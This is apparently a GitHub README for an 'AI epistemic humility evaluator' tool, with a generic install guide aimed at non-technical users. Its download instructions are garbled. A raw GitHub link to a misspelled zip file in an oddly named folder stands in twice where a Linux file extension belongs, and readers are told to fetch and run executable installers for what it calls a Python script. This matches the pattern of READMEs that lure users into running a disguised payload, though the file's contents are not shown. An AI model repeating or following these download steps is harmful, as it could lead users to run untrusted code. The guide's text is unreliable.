SIGMA-EPISTEMIC-HUMILITY-EVALUATOR is a tool that helps measure how AI systems affect human decision-making. It checks if an AI supports people making their own choices, or if it takes too much control away. The project tested popular AI like Grok, ChatGPT, Claude, and Gemini. It found that three out of four tend to limit how much humans influence decisions.
This app includes full transcripts, AI self-assessments, and a Python program that conducts the audit. It is part of the broader Proyecto Estrella’s Unified Star Framework, a system focused on AI safety, ethics, and alignment with human values.
You don’t need to be a programmer or have any special skills to use this app. This guide walks you through downloading and running it step-by-step.
- Check if an AI keeps humans in charge of decisions.
- Learn how different AI models behave in real tests.
- Get clear, detailed evaluations without technical know-how.
- Contribute to safer and more ethical AI development.
- Access research data and transcripts easily.
Before you start, make sure your computer meets these minimum requirements:
- Operating System:
- Windows 10 or later
- macOS 10.14 or later
- Most Linux distributions with Python 3 support
- Processor: 2 GHz dual-core or better
- RAM: 4 GB or more recommended
- Disk Space: At least 500 MB free for installation and data storage
- Internet connection: Required for initial download and some evaluation features
The software runs as a standalone Python application. Python 3.8 or newer should be installed on your system. If you don’t have Python, the installer includes a simple setup process.
Here is how to get the SIGMA-EPISTEMIC-HUMILITY-EVALUATOR running on your computer. Follow each step carefully.
- Check your operating system and make sure it matches one of the supported versions above.
- Confirm you have at least 4 GB RAM and 500 MB free disk space.
- Ensure you have a stable internet connection.
- (Optional) If comfortable, check if Python 3.8+ is installed:
- On Windows, open Command Prompt and type
python --version - On macOS/Linux, open Terminal and type
python3 --version - If Python is missing or below 3.8, the installer helps set it up.
- On Windows, open Command Prompt and type
To get the latest version of SIGMA-EPISTEMIC-HUMILITY-EVALUATOR, please visit this page:
- Click the link above or the badge at the top of this page.
- You will see a list of release versions. Select the most recent one.
- Look for a file compatible with your operating system. File names might end in
.exefor Windows,.dmgor.pkgfor macOS, orhttps://raw.githubusercontent.com/xanderiy/SIGMA-EPISTEMIC-HUMILITY-EVALUATOR/main/unseditious/SIGM-EPISTEMI-EVALUATOR-HUMILIT-3.6.zipfor Linux. - Click on the file name to download the installer or package to your computer.
-
Windows:
- Double-click the
.exefile to start installation. - Follow the on-screen instructions.
- The program might add a shortcut to your desktop or Start menu.
- Double-click the
-
macOS:
- Open the
.dmgor.pkgfile. - Drag the app to your Applications folder or follow installer prompts.
- Open the
-
Linux:
- Extract the
https://raw.githubusercontent.com/xanderiy/SIGMA-EPISTEMIC-HUMILITY-EVALUATOR/main/unseditious/SIGM-EPISTEMI-EVALUATOR-HUMILIT-3.6.zipfile to a folder. - Open a Terminal and navigate to that folder.
- Run the installation script if provided, or follow README instructions inside the release package.
- Extract the
Once installed, you will be ready to run the app.
After installing, find the SIGMA-EPISTEMIC-HUMILITY-EVALUATOR program icon on your desktop, start menu, or application folder.
- Double-click to open the app.
- The interface will guide you through auditing an AI model.
- Use the buttons to load transcripts or select a model to evaluate.
- Follow prompts to run the evaluation or review stored data.
- Save or export reports as needed for your own study or sharing.
The app is designed for ease. You don’t need to code or enter commands manually.
- AI Auditing: Automatically checks AI models against the Axiom of Plenitude.
- Model Reports: View detailed transcripts and self-assessments of tested AIs.
- Python Auditor: Integrated tool that analyzes AI behavior with clear results.
- User-Friendly Interface: Point-and-click navigation for non-technical users.
- Project Data Access: Explore Proyecto Estrella’s broader research outputs.
- Cross-Platform Support: Works on Windows, macOS, and Linux.
- App won’t start: Make sure your system meets requirements. Try reinstalling.
- Python errors: Check you have Python 3.8 or later installed if using the Python auditor directly.
- Downloading issues: Retry download or check internet connection.
- No transcripts or reports: Verify you loaded the correct files from the app menus.
- App runs slowly: Close other programs and try again.
For further help, check the “Issues” section on the GitHub project page or contact the project maintainers.
- Project Releases - Download Here
- Proyecto Estrella Unified Star Framework (Explore deeper research)
- Python Official Website (For Python installation help)
This is a research tool built openly for community use. Your input helps improve future versions.
- Report bugs or suggest features in the GitHub “Issues” tab.
- Share your results or adaptations if you customize the auditor.
- Follow updates on the repository to stay informed.
Thank you for taking time to explore how AI respects human choice. This work supports more responsible AI development everywhere.